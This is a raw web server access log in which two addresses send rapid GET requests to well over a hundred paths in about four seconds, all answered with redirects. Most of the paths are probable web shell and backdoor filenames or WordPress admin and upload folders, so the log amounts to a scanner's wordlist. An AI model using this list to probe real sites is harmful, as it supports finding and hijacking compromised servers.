149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:19 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:20 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:20 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:20 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:20 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:21 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:21 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:21 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:22 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:22 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:22 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 